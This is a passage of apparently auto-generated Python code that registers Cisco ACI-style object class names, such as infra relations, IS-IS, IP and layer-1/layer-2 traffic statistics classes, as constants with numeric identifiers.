prop._addConstant("infraRsAccNodePGrp", None, 4308) prop._addConstant("infraRsAccPortP", None, 4364) prop._addConstant("infraRsAttEntP", None, 4404) prop._addConstant("infraRsBfdIpv4InstPol", None, 7728) prop._addConstant("infraRsBfdIpv6InstPol", None, 7730) prop._addConstant("infraRsBndlGrp", None, 7046) prop._addConstant("infraRsCardPGrp", None, 4311) prop._addConstant("infraRsCdpIfPol", None, 4392) prop._addConstant("infraRsConnFexS", None, 4296) prop._addConstant("infraRsConnPortS", None, 4294) prop._addConstant("infraRsConnectivityProfile", None, 4353) prop._addConstant("infraRsDomP", None, 4442) prop._addConstant("infraRsDomPTask", None, 5103) prop._addConstant("infraRsDomVxlanNsDef", None, 5934) prop._addConstant("infraRsFabricNode", None, 5244) prop._addConstant("infraRsFexBndlGrpToAggrIf", None, 5237) prop._addConstant("infraRsFexGrp", None, 4350) prop._addConstant("infraRsFexp", None, 4341) prop._addConstant("infraRsFuncToEpg", None, 4445) prop._addConstant("infraRsFuncToEpgTask", None, 5104) prop._addConstant("infraRsHIfPol", None, 4398) prop._addConstant("infraRsHPathAtt", None, 6106) prop._addConstant("infraRsInfraBD", None, 4321) prop._addConstant("infraRsInterfacePolProfile", None, 4347) prop._addConstant("infraRsL2IfPol", None, 6141) prop._addConstant("infraRsL2InstPol", None, 4388) prop._addConstant("infraRsLacpIfPol", None, 4417) prop._addConstant("infraRsLacpInterfacePol", None, 7473) prop._addConstant("infraRsLacpPol", None, 4407) prop._addConstant("infraRsLldpIfPol", None, 4390) prop._addConstant("infraRsMcpIfPol", None, 5878) prop._addConstant("infraRsModulePolProfile", None, 4345) prop._addConstant("infraRsMonFexInfraPol", None, 5199) prop._addConstant("infraRsMonIfInfraPol", None, 4400) prop._addConstant("infraRsMonModuleInfraPol", None, 4382) prop._addConstant("infraRsMonNodeInfraPol", None, 4373) prop._addConstant("infraRsMstInstPol", None, 4371) prop._addConstant("infraRsNodeP", None, 7049) prop._addConstant("infraRsNodePolGroup", None, 4343) prop._addConstant("infraRsOverrideCdpIfPol", None, 4456) prop._addConstant("infraRsOverrideFwPol", None, 6388) prop._addConstant("infraRsOverrideLacpPol", None, 4458) prop._addConstant("infraRsOverrideLldpIfPol", None, 4454) prop._addConstant("infraRsOverrideMcpIfPol", None, 5882) prop._addConstant("infraRsOverrideStpPol", None, 6781) prop._addConstant("infraRsPathToAccBaseGrp", None, 6108) prop._addConstant("infraRsProtGroup", None, 4337) prop._addConstant("infraRsProtectionGrp", None, 4334) prop._addConstant("infraRsQosEgressDppIfPol", None, 7861) prop._addConstant("infraRsQosIngressDppIfPol", None, 7859) prop._addConstant("infraRsResCdpIfPol", None, 4427) prop._addConstant("infraRsResDatetimeFormat", None, 5314) prop._addConstant("infraRsResErrDisRecoverPol", None, 6129) prop._addConstant("infraRsResHIfPol", None, 4431) prop._addConstant("infraRsResLacpIfPol", None, 4425) prop._addConstant("infraRsResLacpLagPol", None, 4429) prop._addConstant("infraRsResLldpIfPol", None, 4423) prop._addConstant("infraRsResLoopProtectPol", None, 6077) prop._addConstant("infraRsResMcpIfPol", None, 5880) prop._addConstant("infraRsResMcpInstPol", None, 6066) prop._addConstant("infraRsResMonInfraPol", None, 731) prop._addConstant("infraRsResNwsFwPol", None, 6386) prop._addConstant("infraRsResQoSPol", None, 4433) prop._addConstant("infraRsResQosInstPol", None, 4435) prop._addConstant("infraRsSpanVDestGrp", None, 4396) prop._addConstant("infraRsSpanVSrcGrp", None, 4394) prop._addConstant("infraRsStormctrlIfPol", None, 5607) prop._addConstant("infraRsStpIfPol", None, 4402) prop._addConstant("infraRsToBfdIpv4InstPol", None, 8687) prop._addConstant("infraRsToBfdIpv6InstPol", None, 8689) prop._addConstant("infraRsToEncapInstDef", None, 4357) prop._addConstant("infraRsToEpControlP", None, 7306) prop._addConstant("infraRsToEpLoopProtectP", None, 7096) prop._addConstant("infraRsToErrDisRecoverPol", None, 6885) prop._addConstant("infraRsToInfraPathS", None, 6113) prop._addConstant("infraRsToInterfacePolProfile", None, 7475) prop._addConstant("infraRsToMcpIfPol", None, 7092) prop._addConstant("infraRsToMcpInstPol", None, 7094) prop._addConstant("infraRsToPortTrackPol", None, 7657) prop._addConstant("infraRsVipAddrNs", None, 5568) prop._addConstant("infraRsVlanNs", None, 4515) prop._addConstant("infraRsVlanNsDef", None, 5465) prop._addConstant("infraRsVpcBndlGrp", None, 4339) prop._addConstant("infraRtAEP", None, 6159) prop._addConstant("infraRtAccBaseGrp", None, 4316) prop._addConstant("infraRtAccBndlSubgrp", None, 4319) prop._addConstant("infraRtAccCardP", None, 4363) prop._addConstant("infraRtAccNodePGrp", None, 4309) prop._addConstant("infraRtAccPortP", None, 4365) prop._addConstant("infraRtAttEntP", None, 4405) prop._addConstant("infraRtAttEntityPCons", None, 6149) prop._addConstant("infraRtBndlGrp", None, 7047) prop._addConstant("infraRtCardPGrp", None, 4312) prop._addConstant("infraRtClusterPol", None, 6906) prop._addConstant("infraRtClusterPolRel", None, 4617) prop._addConstant("infraRtConnFexS", None, 4297) prop._addConstant("infraRtConnPortS", None, 4295) prop._addConstant("infraRtConnectivityProfile", None, 4354) prop._addConstant("infraRtDomAtt", None, 1987) prop._addConstant("infraRtDomP", None, 4443) prop._addConstant("infraRtFexGrp", None, 4351) prop._addConstant("infraRtFexp", None, 4342) prop._addConstant("infraRtInterfacePolProfile", None, 4348) prop._addConstant("infraRtLDevDomP", None, 7895) prop._addConstant("infraRtModulePolProfile", None, 4346) prop._addConstant("infraRtNodeP", None, 7050) prop._addConstant("infraRtNodePolGroup", None, 4344) prop._addConstant("infraRtOut", None, 1764) prop._addConstant("infraRtPathToAccBaseGrp", None, 6109) prop._addConstant("infraRtStAttEntPAtt", None, 1959) prop._addConstant("infraRtStGrpAtt", None, 1956) prop._addConstant("infraRtToInterfacePolProfile", None, 7476) prop._addConstant("infraRtToPeerNodeCfg", None, 6026) prop._addConstant("infraRtToPortTrackPol", None, 7658) prop._addConstant("infraRtVpcBndlGrp", None, 4340) prop._addConstant("infraSelectorIssues", None, 4522) prop._addConstant("infraService", None, 4488) prop._addConstant("infraSnNode", None, 7627) prop._addConstant("infraStorage", None, 4450) prop._addConstant("infraSubsDfltPolicy", None, 6884) prop._addConstant("infraToAInstP", None, 5464) prop._addConstant("infraUsedByEpP", None, 5327) prop._addConstant("infraWiNode", None, 4465) prop._addConstant("infrazoneCreatedBy", None, 7740) prop._addConstant("infrazoneNode", None, 7739) prop._addConstant("infrazoneNodeGrp", None, 7734) prop._addConstant("infrazonePodGrp", None, 7735) prop._addConstant("infrazoneRsToNodeGrp", None, 7736) prop._addConstant("infrazoneRtToNodeGrp", None, 7737) prop._addConstant("infrazoneRtZoneConfig", None, 7727) prop._addConstant("infrazoneTriggeredDeplMode", None, 7768) prop._addConstant("infrazoneTriggeredDeplModeTask", None, 7769) prop._addConstant("infrazoneZone", None, 7733) prop._addConstant("infrazoneZoneCont", None, 7738) prop._addConstant("infrazoneZoneP", None, 7732) prop._addConstant("ipANexthopP", None, 4281) prop._addConstant("ipARouteP", None, 4278) prop._addConstant("ipAddr", None, 3799) prop._addConstant("ipCons", None, 5276) prop._addConstant("ipDom", None, 3804) prop._addConstant("ipEntity", None, 3816) prop._addConstant("ipIf", None, 3805) prop._addConstant("ipInst", None, 3817) prop._addConstant("ipNexthop", None, 3811) prop._addConstant("ipNexthopDef", None, 4283) prop._addConstant("ipNexthopP", None, 4282) prop._addConstant("ipRoute", None, 3806) prop._addConstant("ipRouteDef", None, 4280) prop._addConstant("ipRouteP", None, 4279) prop._addConstant("ipRsAddrToIpDef", None, 6080) prop._addConstant("ipRsIpAddr", None, 3800) prop._addConstant("ipRsNexthopToNexthopDef", None, 3812) prop._addConstant("ipRsNexthopToProtG", None, 3814) prop._addConstant("ipRsRouteToIfConn", None, 3809) prop._addConstant("ipRsRouteToRouteDef", None, 3807) prop._addConstant("ipRsRtDefIpAddr", None, 3802) prop._addConstant("ipRtNexthopToNexthopDef", None, 3813) prop._addConstant("ipRtRouteToRouteDef", None, 3808) prop._addConstant("ipRtRtDefIpAddr", None, 3803) prop._addConstant("ipmcsnoopDb", None, 5736) prop._addConstant("ipmcsnoopDom", None, 5728) prop._addConstant("ipmcsnoopDomStats", None, 5735) prop._addConstant("ipmcsnoopEntity", None, 5743) prop._addConstant("ipmcsnoopEpgRec", None, 5739) prop._addConstant("ipmcsnoopHostRec", None, 5742) prop._addConstant("ipmcsnoopIf", None, 5732) prop._addConstant("ipmcsnoopInst", None, 5744) prop._addConstant("ipmcsnoopInstStats", None, 5745) prop._addConstant("ipmcsnoopMcGrpRec", None, 5738) prop._addConstant("ipmcsnoopOIFRec", None, 5741) prop._addConstant("ipmcsnoopQuerier", None, 5729) prop._addConstant("ipmcsnoopQuerierP", None, 5730) prop._addConstant("ipmcsnoopQuerierSt", None, 5731) prop._addConstant("ipmcsnoopRec", None, 5737) prop._addConstant("ipmcsnoopReportRec", None, 5740) prop._addConstant("ipmcsnoopRtrIf", None, 5734) prop._addConstant("ipmcsnoopStRtrIf", None, 5733) prop._addConstant("ipv4Addr", None, 3792) prop._addConstant("ipv4Dom", None, 3793) prop._addConstant("ipv4Entity", None, 3797) prop._addConstant("ipv4If", None, 3794) prop._addConstant("ipv4Inst", None, 3798) prop._addConstant("ipv4Nexthop", None, 3796) prop._addConstant("ipv4NexthopStub", None, 5527) prop._addConstant("ipv4Route", None, 3795) prop._addConstant("ipv6Addr", None, 3591) prop._addConstant("ipv6Dom", None, 3592) prop._addConstant("ipv6Entity", None, 3596) prop._addConstant("ipv6If", None, 3593) prop._addConstant("ipv6Inst", None, 3597) prop._addConstant("ipv6LLaddr", None, 5865) prop._addConstant("ipv6Nexthop", None, 3595) prop._addConstant("ipv6NexthopStub", None, 5866) prop._addConstant("ipv6Route", None, 3594) prop._addConstant("isisAdjEp", None, 2758) prop._addConstant("isisAdjEpClearLTask", None, 5019) prop._addConstant("isisAdjEpClearRslt", None, 5020) prop._addConstant("isisAf", None, 2764) prop._addConstant("isisBdIdRec", None, 2763) prop._addConstant("isisDTEp", None, 2765) prop._addConstant("isisDb", None, 2851) prop._addConstant("isisDbRec", None, 2852) prop._addConstant("isisDefRtLeakP", None, 2861) prop._addConstant("isisDom", None, 2826) prop._addConstant("isisDomAf", None, 2831) prop._addConstant("isisDomLvl", None, 2828) prop._addConstant("isisDomPol", None, 4275) prop._addConstant("isisEntity", None, 2855) prop._addConstant("isisExtIsRec", None, 2858) prop._addConstant("isisFmcastTree", None, 2766) prop._addConstant("isisFtagOifRec", None, 2761) prop._addConstant("isisFtagTreeStats", None, 2807) prop._addConstant("isisFtagTreeStats15min", None, 2811) prop._addConstant("isisFtagTreeStats1d", None, 2815) prop._addConstant("isisFtagTreeStats1h", None, 2813) prop._addConstant("isisFtagTreeStats1mo", None, 2819) prop._addConstant("isisFtagTreeStats1qtr", None, 2821) prop._addConstant("isisFtagTreeStats1w", None, 2817) prop._addConstant("isisFtagTreeStats1year", None, 2823) prop._addConstant("isisFtagTreeStats5min", None, 2809) prop._addConstant("isisFtagTreeStatsHist", None, 2808) prop._addConstant("isisFtagTreeStatsHist15min", None, 2812) prop._addConstant("isisFtagTreeStatsHist1d", None, 2816) prop._addConstant("isisFtagTreeStatsHist1h", None, 2814) prop._addConstant("isisFtagTreeStatsHist1mo", None, 2820) prop._addConstant("isisFtagTreeStatsHist1qtr", None, 2822) prop._addConstant("isisFtagTreeStatsHist1w", None, 2818) prop._addConstant("isisFtagTreeStatsHist1year", None, 2824) prop._addConstant("isisFtagTreeStatsHist5min", None, 2810) prop._addConstant("isisGr", None, 2833) prop._addConstant("isisGrpIdRec", None, 2762) prop._addConstant("isisGrpRec", None, 2760) prop._addConstant("isisIf", None, 2834) prop._addConstant("isisIfLvl", None, 2836) prop._addConstant("isisIfTraffic", None, 2837) prop._addConstant("isisInst", None, 2856) prop._addConstant("isisInterLeakP", None, 2863) prop._addConstant("isisInterLeakPClearLTask", None, 5021) prop._addConstant("isisInterLeakPClearRslt", None, 5022) prop._addConstant("isisIntraLeakP", None, 2862) prop._addConstant("isisIpRec", None, 2860) prop._addConstant("isisLeakCtrlP", None, 2864) prop._addConstant("isisLspGen", None, 2829) prop._addConstant("isisLspRec", None, 2857) prop._addConstant("isisLvl", None, 2832) prop._addConstant("isisLvlComp", None, 4276) prop._addConstant("isisMeshGrp", None, 2835) prop._addConstant("isisNexthop", None, 2849) prop._addConstant("isisNodeIdRec", None, 2854) prop._addConstant("isisNodeRec", None, 2853) prop._addConstant("isisOifListLeaf", None, 2767) prop._addConstant("isisOifListSpine", None, 2768) prop._addConstant("isisOverload", None, 2827) prop._addConstant("isisPeerIpAddr", None, 2759) prop._addConstant("isisRoute", None, 2838) prop._addConstant("isisRsNhAtt", None, 2839) prop._addConstant("isisRtNhAtt", None, 2840) prop._addConstant("isisRtPodPGrpIsisDomP", None, 903) prop._addConstant("isisRtSum", None, 2850) prop._addConstant("isisSpfComp", None, 2830) prop._addConstant("isisTlvRec", None, 2859) prop._addConstant("isisTreeCalcNodeStats", None, 2788) prop._addConstant("isisTreeCalcNodeStats15min", None, 2792) prop._addConstant("isisTreeCalcNodeStats1d", None, 2796) prop._addConstant("isisTreeCalcNodeStats1h", None, 2794) prop._addConstant("isisTreeCalcNodeStats1mo", None, 2800) prop._addConstant("isisTreeCalcNodeStats1qtr", None, 2802) prop._addConstant("isisTreeCalcNodeStats1w", None, 2798) prop._addConstant("isisTreeCalcNodeStats1year", None, 2804) prop._addConstant("isisTreeCalcNodeStats5min", None, 2790) prop._addConstant("isisTreeCalcNodeStatsHist", None, 2789) prop._addConstant("isisTreeCalcNodeStatsHist15min", None, 2793) prop._addConstant("isisTreeCalcNodeStatsHist1d", None, 2797) prop._addConstant("isisTreeCalcNodeStatsHist1h", None, 2795) prop._addConstant("isisTreeCalcNodeStatsHist1mo", None, 2801) prop._addConstant("isisTreeCalcNodeStatsHist1qtr", None, 2803) prop._addConstant("isisTreeCalcNodeStatsHist1w", None, 2799) prop._addConstant("isisTreeCalcNodeStatsHist1year", None, 2805) prop._addConstant("isisTreeCalcNodeStatsHist5min", None, 2791) prop._addConstant("isisTreeCalcStats", None, 2769) prop._addConstant("isisTreeCalcStats15min", None, 2773) prop._addConstant("isisTreeCalcStats1d", None, 2777) prop._addConstant("isisTreeCalcStats1h", None, 2775) prop._addConstant("isisTreeCalcStats1mo", None, 2781) prop._addConstant("isisTreeCalcStats1qtr", None, 2783) prop._addConstant("isisTreeCalcStats1w", None, 2779) prop._addConstant("isisTreeCalcStats1year", None, 2785) prop._addConstant("isisTreeCalcStats5min", None, 2771) prop._addConstant("isisTreeCalcStatsHist", None, 2770) prop._addConstant("isisTreeCalcStatsHist15min", None, 2774) prop._addConstant("isisTreeCalcStatsHist1d", None, 2778) prop._addConstant("isisTreeCalcStatsHist1h", None, 2776) prop._addConstant("isisTreeCalcStatsHist1mo", None, 2782) prop._addConstant("isisTreeCalcStatsHist1qtr", None, 2784) prop._addConstant("isisTreeCalcStatsHist1w", None, 2780) prop._addConstant("isisTreeCalcStatsHist1year", None, 2786) prop._addConstant("isisTreeCalcStatsHist5min", None, 2772) prop._addConstant("isistlvComplex", None, 2841) prop._addConstant("isistlvIp", None, 2844) prop._addConstant("isistlvMac", None, 2843) prop._addConstant("isistlvText", None, 2842) prop._addConstant("isistlvUByte", None, 2848) prop._addConstant("isistlvUInt16", None, 2847) prop._addConstant("isistlvUInt32", None, 2846) prop._addConstant("isistlvUInt64", None, 2845) prop._addConstant("l1EeeP", None, 3628) prop._addConstant("l1EthIf", None, 3614) prop._addConstant("l1EthIfSetInServiceLTask", None, 5023) prop._addConstant("l1EthIfSetInServiceRslt", None, 5024) prop._addConstant("l1If", None, 3613) prop._addConstant("l1LoadP", None, 3629) prop._addConstant("l1ObservedEthIf", None, 7099) prop._addConstant("l1PhysIf", None, 3627) prop._addConstant("l1PhysIfClearCountersLTask", None, 5250) prop._addConstant("l1PhysIfClearCountersRslt", None, 5251) prop._addConstant("l1PhysIfLocateLTask", None, 5025) prop._addConstant("l1PhysIfLocateRslt", None, 5026) prop._addConstant("l1PhysIfResetLTask", None, 5027) prop._addConstant("l1PhysIfResetRslt", None, 5028) prop._addConstant("l1ProcessNodeAtt", None, 7098) prop._addConstant("l1ProtAdjEp", None, 3612) prop._addConstant("l1ProtEntity", None, 3609) prop._addConstant("l1ProtIf", None, 3611) prop._addConstant("l1ProtInst", None, 3610) prop._addConstant("l1RsAttEntityPCons", None, 6148) prop._addConstant("l1RsCdpIfPolCons", None, 3617) prop._addConstant("l1RsHIfPolCons", None, 3615) prop._addConstant("l1RsL2IfPolCons", None, 6144) prop._addConstant("l1RsLacpIfPolCons", None, 3619) prop._addConstant("l1RsLldpIfPolCons", None, 3621) prop._addConstant("l1RsMcpIfPolCons", None, 5955) prop._addConstant("l1RsMonPolIfPolCons", None, 3623) prop._addConstant("l1RsQosEgressDppIfPolCons", None, 7857) prop._addConstant("l1RsQosIngressDppIfPolCons", None, 7855) prop._addConstant("l1RsStormctrlIfPolCons", None, 5610) prop._addConstant("l1RsStpIfPolCons", None, 3625) prop._addConstant("l1RsToObservedEthIf", None, 7100) prop._addConstant("l1RtBrConf", None, 3405) prop._addConstant("l1RtEncPhysRtdConf", None, 3769) prop._addConstant("l1RtEthIf", None, 3388) prop._addConstant("l1RtExtConf", None, 3402) prop._addConstant("l1RtInbandConf", None, 3399) prop._addConstant("l1RtIoPPhysConf", None, 3003) prop._addConstant("l1RtLocaleToObservedEthIf", None, 7091) prop._addConstant("l1RtLsNodeToIf", None, 3364) prop._addConstant("l1RtMbrIfs", None, 3661) prop._addConstant("l1RtNodePortAtt", None, 1969) prop._addConstant("l1RtPhysIf", None, 4241) prop._addConstant("l1RtPhysRtdConf", None, 3763) prop._addConstant("l1RtSpanSrcToL1IfAtt", None, 2326) prop._addConstant("l1RtToObservedEthIf", None, 7101) prop._addConstant("l1RtTunnelMbrIfs", None, 3679) prop._addConstant("l1StormCtrlP", None, 5612) prop._addConstant("l1capProv", None, 3630) prop._addConstant("l1capRule", None, 3631) prop._addConstant("l2AInstPol", None, 710) prop._addConstant("l2BD", None, 3377) prop._addConstant("l2BDClearEpLTask", None, 5029) prop._addConstant("l2BDClearEpRslt", None, 5030) prop._addConstant("l2BrIf", None, 3403) prop._addConstant("l2CktEp", None, 3422) prop._addConstant("l2Cons", None, 3427) prop._addConstant("l2Dom", None, 3411) prop._addConstant("l2DomMbrIf", None, 3406) prop._addConstant("l2EgrBytes", None, 7382) prop._addConstant("l2EgrBytes15min", None, 7394) prop._addConstant("l2EgrBytes1d", None, 7406) prop._addConstant("l2EgrBytes1h", None, 7400) prop._addConstant("l2EgrBytes1mo", None, 7418) prop._addConstant("l2EgrBytes1qtr", None, 7424) prop._addConstant("l2EgrBytes1w", None, 7412) prop._addConstant("l2EgrBytes1year", None, 7430) prop._addConstant("l2EgrBytes5min", None, 7388) prop._addConstant("l2EgrBytesAg", None, 7386) prop._addConstant("l2EgrBytesAg15min", None, 7398) prop._addConstant("l2EgrBytesAg1d", None, 7410) prop._addConstant("l2EgrBytesAg1h", None, 7404) prop._addConstant("l2EgrBytesAg1mo", None, 7422) prop._addConstant("l2EgrBytesAg1qtr", None, 7428) prop._addConstant("l2EgrBytesAg1w", None, 7416) prop._addConstant("l2EgrBytesAg1year", None, 7434) prop._addConstant("l2EgrBytesAg5min", None, 7392) prop._addConstant("l2EgrBytesAgHist", None, 7387) prop._addConstant("l2EgrBytesAgHist15min", None, 7399) prop._addConstant("l2EgrBytesAgHist1d", None, 7411) prop._addConstant("l2EgrBytesAgHist1h", None, 7405) prop._addConstant("l2EgrBytesAgHist1mo", None, 7423) prop._addConstant("l2EgrBytesAgHist1qtr", None, 7429) prop._addConstant("l2EgrBytesAgHist1w", None, 7417) prop._addConstant("l2EgrBytesAgHist1year", None, 7435) prop._addConstant("l2EgrBytesAgHist5min", None, 7393) prop._addConstant("l2EgrBytesHist", None, 7383) prop._addConstant("l2EgrBytesHist15min", None, 7395) prop._addConstant("l2EgrBytesHist1d", None, 7407) prop._addConstant("l2EgrBytesHist1h", None, 7401) prop._addConstant("l2EgrBytesHist1mo", None, 7419) prop._addConstant("l2EgrBytesHist1qtr", None, 7425) prop._addConstant("l2EgrBytesHist1w", None, 7413) prop._addConstant("l2EgrBytesHist1year", None, 7431) prop._addConstant("l2EgrBytesHist5min", None, 7389) prop._addConstant("l2EgrBytesPart", None, 7384) prop._addConstant("l2EgrBytesPart15min", None, 7396) prop._addConstant("l2EgrBytesPart1d", None, 7408) prop._addConstant("l2EgrBytesPart1h", None, 7402) prop._addConstant("l2EgrBytesPart1mo", None, 7420) prop._addConstant("l2EgrBytesPart1qtr", None, 7426) prop._addConstant("l2EgrBytesPart1w", None, 7414) prop._addConstant("l2EgrBytesPart1year", None, 7432) prop._addConstant("l2EgrBytesPart5min", None, 7390) prop._addConstant("l2EgrBytesPartHist", None, 7385) prop._addConstant("l2EgrBytesPartHist15min", None, 7397) prop._addConstant("l2EgrBytesPartHist1d", None, 7409) prop._addConstant("l2EgrBytesPartHist1h", None, 7403) prop._addConstant("l2EgrBytesPartHist1mo", None, 7421) prop._addConstant("l2EgrBytesPartHist1qtr", None, 7427) prop._addConstant("l2EgrBytesPartHist1w", None, 7415) prop._addConstant("l2EgrBytesPartHist1year", None, 7433) prop._addConstant("l2EgrBytesPartHist5min", None, 7391) prop._addConstant("l2EgrPkts", None, 7328) prop._addConstant("l2EgrPkts15min", None, 7340) prop._addConstant("l2EgrPkts1d", None, 7352) prop._addConstant("l2EgrPkts1h", None, 7346) prop._addConstant("l2EgrPkts1mo", None, 7364) prop._addConstant("l2EgrPkts1qtr", None, 7370) prop._addConstant("l2EgrPkts1w", None, 7358) prop._addConstant("l2EgrPkts1year", None, 7376) prop._addConstant("l2EgrPkts5min", None, 7334) prop._addConstant("l2EgrPktsAg", None, 7332) prop._addConstant("l2EgrPktsAg15min", None, 7344) prop._addConstant("l2EgrPktsAg1d", None, 7356) prop._addConstant("l2EgrPktsAg1h", None, 7350) prop._addConstant("l2EgrPktsAg1mo", None, 7368) prop._addConstant("l2EgrPktsAg1qtr", None, 7374) prop._addConstant("l2EgrPktsAg1w", None, 7362) prop._addConstant("l2EgrPktsAg1year", None, 7380) prop._addConstant("l2EgrPktsAg5min", None, 7338) prop._addConstant("l2EgrPktsAgHist", None, 7333) prop._addConstant("l2EgrPktsAgHist15min", None, 7345) prop._addConstant("l2EgrPktsAgHist1d", None, 7357) prop._addConstant("l2EgrPktsAgHist1h", None, 7351) prop._addConstant("l2EgrPktsAgHist1mo", None, 7369) prop._addConstant("l2EgrPktsAgHist1qtr", None, 7375) prop._addConstant("l2EgrPktsAgHist1w", None, 7363) prop._addConstant("l2EgrPktsAgHist1year", None, 7381) prop._addConstant("l2EgrPktsAgHist5min", None, 7339) prop._addConstant("l2EgrPktsHist", None, 7329) prop._addConstant("l2EgrPktsHist15min", None, 7341) prop._addConstant("l2EgrPktsHist1d", None, 7353) prop._addConstant("l2EgrPktsHist1h", None, 7347) prop._addConstant("l2EgrPktsHist1mo", None, 7365) prop._addConstant("l2EgrPktsHist1qtr", None, 7371) prop._addConstant("l2EgrPktsHist1w", None, 7359) prop._addConstant("l2EgrPktsHist1year", None, 7377) prop._addConstant("l2EgrPktsHist5min", None, 7335) prop._addConstant("l2EgrPktsPart", None, 7330) prop._addConstant("l2EgrPktsPart15min", None, 7342) prop._addConstant("l2EgrPktsPart1d", None, 7354) prop._addConstant("l2EgrPktsPart1h", None, 7348) prop._addConstant("l2EgrPktsPart1mo", None, 7366) prop._addConstant("l2EgrPktsPart1qtr", None, 7372) prop._addConstant("l2EgrPktsPart1w", None, 7360) prop._addConstant("l2EgrPktsPart1year", None, 7378) prop._addConstant("l2EgrPktsPart5min", None, 7336) prop._addConstant("l2EgrPktsPartHist", None, 7331) prop._addConstant("l2EgrPktsPartHist15min", None, 7343) prop._addConstant("l2EgrPktsPartHist1d", None, 7355) prop._addConstant("l2EgrPktsPartHist1h", None, 7349) prop._addConstant("l2EgrPktsPartHist1mo", None, 7367) prop._addConstant("l2EgrPktsPartHist1qtr", None, 7373) prop._addConstant("l2EgrPktsPartHist1w", None, 7361) prop._addConstant("l2EgrPktsPartHist1year", None, 7379) prop._addConstant("l2EgrPktsPartHist5min", None, 7337) prop._addConstant("l2EncapCons", None, 6220) prop._addConstant("l2EncapRef", None, 3419) prop._addConstant("l2EncapUni", None, 3418) prop._addConstant("l2EpRetPol", None, 3382) prop._addConstant("l2EpScanInfo", None, 7472) prop._addConstant("l2ExtIf", None, 3400) prop._addConstant("l2If", None, 3396) prop._addConstant("l2IfPol", None, 6140) prop._addConstant("l2InbandIf", None, 3397) prop._addConstant("l2IngrBytes", None, 3494) prop._addConstant("l2IngrBytes15min", None, 3506) prop._addConstant("l2IngrBytes1d", None, 3518) prop._addConstant("l2IngrBytes1h", None, 3512) prop._addConstant("l2IngrBytes1mo", None, 3530) prop._addConstant("l2IngrBytes1qtr", None, 3536) prop._addConstant("l2IngrBytes1w", None, 3524) prop._addConstant("l2IngrBytes1year", None, 3542) prop._addConstant("l2IngrBytes5min", None, 3500) prop._addConstant("l2IngrBytesAg", None, 3498) prop._addConstant("l2IngrBytesAg15min", None, 3510) prop._addConstant("l2IngrBytesAg1d", None, 3522) prop._addConstant("l2IngrBytesAg1h", None, 3516) prop._addConstant("l2IngrBytesAg1mo", None, 3534) prop._addConstant("l2IngrBytesAg1qtr", None, 3540) prop._addConstant("l2IngrBytesAg1w", None, 3528) prop._addConstant("l2IngrBytesAg1year", None, 3546) prop._addConstant("l2IngrBytesAg5min", None, 3504) prop._addConstant("l2IngrBytesAgHist", None, 3499) prop._addConstant("l2IngrBytesAgHist15min", None, 3511) prop._addConstant("l2IngrBytesAgHist1d", None, 3523) prop._addConstant("l2IngrBytesAgHist1h", None, 3517) prop._addConstant("l2IngrBytesAgHist1mo", None, 3535) prop._addConstant("l2IngrBytesAgHist1qtr", None, 3541) prop._addConstant("l2IngrBytesAgHist1w", None, 3529) prop._addConstant("l2IngrBytesAgHist1year", None, 3547) prop._addConstant("l2IngrBytesAgHist5min", None, 3505) prop._addConstant("l2IngrBytesHist", None, 3495) prop._addConstant("l2IngrBytesHist15min", None, 3507) prop._addConstant("l2IngrBytesHist1d", None, 3519) prop._addConstant("l2IngrBytesHist1h", None, 3513) prop._addConstant("l2IngrBytesHist1mo", None, 3531) prop._addConstant("l2IngrBytesHist1qtr", None, 3537) prop._addConstant("l2IngrBytesHist1w", None, 3525) prop._addConstant("l2IngrBytesHist1year", None, 3543) prop._addConstant("l2IngrBytesHist5min", None, 3501) prop._addConstant("l2IngrBytesPart", None, 3496) prop._addConstant("l2IngrBytesPart15min", None, 3508) prop._addConstant("l2IngrBytesPart1d", None, 3520) prop._addConstant("l2IngrBytesPart1h", None, 3514) prop._addConstant("l2IngrBytesPart1mo", None, 3532) prop._addConstant("l2IngrBytesPart1qtr", None, 3538) prop._addConstant("l2IngrBytesPart1w", None, 3526) prop._addConstant("l2IngrBytesPart1year", None, 3544) prop._addConstant("l2IngrBytesPart5min", None, 3502) prop._addConstant("l2IngrBytesPartHist", None, 3497) prop._addConstant("l2IngrBytesPartHist15min", None, 3509) prop._addConstant("l2IngrBytesPartHist1d", None, 3521) prop._addConstant("l2IngrBytesPartHist1h", None, 3515) prop._addConstant("l2IngrBytesPartHist1mo", None, 3533) prop._addConstant("l2IngrBytesPartHist1qtr", None, 3539) prop._addConstant("l2IngrBytesPartHist1w", None, 3527) prop._addConstant("l2IngrBytesPartHist1year", None, 3545) prop._addConstant("l2IngrBytesPartHist5min", None, 3503) prop._addConstant("l2IngrPkts", None, 3439) prop._addConstant("l2IngrPkts15min", None, 3451) prop._addConstant("l2IngrPkts1d", None, 3463) prop._addConstant("l2IngrPkts1h", None, 3457) prop._addConstant("l2IngrPkts1mo", None, 3475) prop._addConstant("l2IngrPkts1qtr", None, 3481) prop._addConstant("l2IngrPkts1w", None, 3469) prop._addConstant("l2IngrPkts1year", None, 3487) prop._addConstant("l2IngrPkts5min", None, 3445) prop._addConstant("l2IngrPktsAg", None, 3443) prop._addConstant("l2IngrPktsAg15min", None, 3455) prop._addConstant("l2IngrPktsAg1d", None, 3467) prop._addConstant("l2IngrPktsAg1h", None, 3461) prop._addConstant("l2IngrPktsAg1mo", None, 3479) prop._addConstant("l2IngrPktsAg1qtr", None, 3485) prop._addConstant("l2IngrPktsAg1w", None, 3473) prop._addConstant("l2IngrPktsAg1year", None, 3491) prop._addConstant("l2IngrPktsAg5min", None, 3449) prop._addConstant("l2IngrPktsAgHist", None, 3444) prop._addConstant("l2IngrPktsAgHist15min", None, 3456) prop._addConstant("l2IngrPktsAgHist1d", None, 3468) prop._addConstant("l2IngrPktsAgHist1h", None, 3462) prop._addConstant("l2IngrPktsAgHist1mo", None, 3480) prop._addConstant("l2IngrPktsAgHist1qtr", None, 3486) prop._addConstant("l2IngrPktsAgHist1w", None, 3474) prop._addConstant("l2IngrPktsAgHist1year", None, 3492) prop._addConstant("l2IngrPktsAgHist5min", None, 3450) prop._addConstant("l2IngrPktsHist", None, 3440) prop._addConstant("l2IngrPktsHist15min", None, 3452) prop._addConstant("l2IngrPktsHist1d", None, 3464) prop._addConstant("l2IngrPktsHist1h", None, 3458) prop._addConstant("l2IngrPktsHist1mo", None, 3476) prop._addConstant("l2IngrPktsHist1qtr", None, 3482) prop._addConstant("l2IngrPktsHist1w", None, 3470) prop._addConstant("l2IngrPktsHist1year", None, 3488) prop._addConstant("l2IngrPktsHist5min", None, 3446) prop._addConstant("l2IngrPktsPart", None, 3441) 